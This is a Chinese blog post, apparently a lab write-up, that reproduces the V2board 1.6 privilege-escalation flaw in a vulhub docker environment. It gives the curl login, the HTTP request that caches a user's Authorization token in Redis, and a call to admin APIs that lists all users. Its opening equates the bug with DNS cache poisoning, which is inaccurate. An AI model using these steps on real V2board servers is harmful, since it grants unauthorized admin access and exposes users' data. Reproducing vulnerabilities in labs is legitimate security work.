V2board缓存投毒漏洞复现

1.什么是缓存投毒

缓存投毒(Cache poisoning),通常也称为域名系统投毒(domain name system poisoning),或DNS缓存投毒(DNS cache poisoning)。它是利用虚假Internet地址替换掉域名系统表中的地址,进而制造破坏。当网络用户在带有该虚假地址的页面中进行搜寻,以访问某链接时,网页浏览器由于受到该虚假条目的影响而打开了不同的网页链接。在这种情况下,蠕虫、木马、浏览器劫持等恶意软件就可能会被下载到本地用户的电脑上。

------百度

关于v2board的相关漏洞信息和文件在此链接https://github.com/vulhub/vulhub/tree/master/v2board/1.6-privilege-escalation

2.复现漏洞

1.首先 建立一个目录,复制以下两个脚本文件

2. 建立完成后,利用docker创建复现环境

docker compose up -d

下载完成后输入IP地址加端口号即可看见登录界面

3.自行注册一个账号

然后,将电子邮件和密码替换为您自己的数据并登录:

curl -i -s -k -XPOST --data-binary "email=123@123.com&password=12345678"http://localhost:9090/api/v1/passport/auth/login

得到如下auth_data码

4.打开bp抓包,将带有auth_data码的request包放入其中

GET /api/v1/user/info HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36

Connection: close

Authorization: ZXhhbXBsZUBleGFtcGxlLmNvbTokMnkkMTAkMVJpUFplR2RnZlFPSVRyWEM4dW0udW5QZVZNTGs3RlFFbkFVVnBwbEhmTlMyczdQaEpTa3E=

Cache-Control: max-age=0

即可得出该用户的信息

此步骤是让服务器将您的授权保存到 Redis 缓存。

最后,可以简单地使用此授权调用所有管理员 API,例如 http://your-ip:8080/api/v1/admin/user/fetch

我们利用管理员的api将所有用户信息一一列出,漏洞复现大功告成!!!

相关推荐
爬山算法1 分钟前
Netty(7)如何实现基于Netty的TCP客户端和服务器?
java·服务器·tcp/ip
牛奶咖啡132 分钟前
Linux系统故障排查思路实践教程(上)
linux·服务器·linux系统故障排查思路·linux的日志分类与分析·忘记linux用户密码问题解决·系统无法启动问题解决·linux文件系统只读问题解决
想唱rap6 分钟前
Linux下进程的控制
linux·运维·服务器·c++·算法
一叶之秋14129 分钟前
QT常用控件(一)
服务器·开发语言·qt
不会写程序的未来程序员9 分钟前
Redis 缓存
数据库·redis·缓存
极地星光10 分钟前
Asio网络编程入门:从零构建同步客户端与服务器
服务器·网络
徐徐图之!12 分钟前
三、【阶段一运维基础】
linux·运维
Xの哲學16 分钟前
Linux ALSA音频架构: 从内核驱动到应用开发的全面解析
linux·服务器·算法·架构·边缘计算
Logic10116 分钟前
《数据库运维》 郭文明 实验2 MySQL数据库对象管理核心操作与思路解析
运维·数据库·mysql·学习笔记·计算机网络技术·形考作业·国家开放大学
脸大是真的好~17 分钟前
黑马消息队列-rabbitMQ2-生产者重连机制-生产者确认机制-数据持久化-LazyQueue-消费者确认机制-失败重试机制-重试耗尽告警手动处理-
java·缓存·中间件